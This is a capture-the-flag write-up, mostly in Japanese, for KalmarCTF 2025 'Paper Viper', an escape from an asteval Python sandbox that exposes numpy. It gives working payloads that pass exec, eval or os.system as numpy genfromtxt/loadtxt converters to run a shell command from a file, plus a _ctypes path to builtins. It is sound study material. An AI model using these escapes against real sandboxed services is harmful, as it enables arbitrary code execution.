KalmarCTF 2025 - Paper Viper
Challenge
UofTCTF 2025 “Don’t Sandbox Python” シリーズの続編。
from asteval import Interpreterimport numpy as np
aeval = Interpreter()aeval.symtable['numpy'] = np
code = input()result = aeval(code)Solution
numpy.genfromtxt の悪用
numpy.genfromtxt は converters パラメータで任意の関数を呼び出せる:
numpy.genfromtxt('/etc/passwd', converters={0: lambda x: exec(x)})dtype の悪用
numpy.genfromtxt('/tmp/payload', dtype=None, converters={0: eval})コードインジェクション
ファイルの内容が関数に渡されるため、ファイルにペイロードを書き込む:
# /tmp/payload に '__import__("os").system("sh")' を書き込み# genfromtxt で読み込んで evalTechnical Details
genfromtxt の converters
import numpy as np
# converters は各列に適用する関数を指定# 列番号をキー、関数を値とする辞書data = np.genfromtxt('file.txt', converters={0: int, 1: float})セキュリティ上の問題
# converters に任意の callable を渡せるnp.genfromtxt('input.txt', converters={0: os.system})# input.txt の内容がシェルコマンドとして実行される関連する numpy 関数
| 関数 | 危険性 |
|---|---|
genfromtxt | converters で任意関数実行 |
load | pickle によるコード実行 |
loadtxt | converters で任意関数実行 |
fromfile | 制限あり |
Alternative Solutions
別解1: numpy.loadtxt
numpy.loadtxt('/tmp/payload', converters={0: eval})別解2: numpy._ctypes (UofTCTF と同様)
numpy.array([])._ctypes.__class__.__module__.__builtins__Related Challenges
- UofTCTF 2025 - Don’t Sandbox Python 1/2/3
Flag
kalmar{...}
References
- KalmarCTF 2025 Official
- https://siunam321.github.io/ctf/KalmarCTF-2025/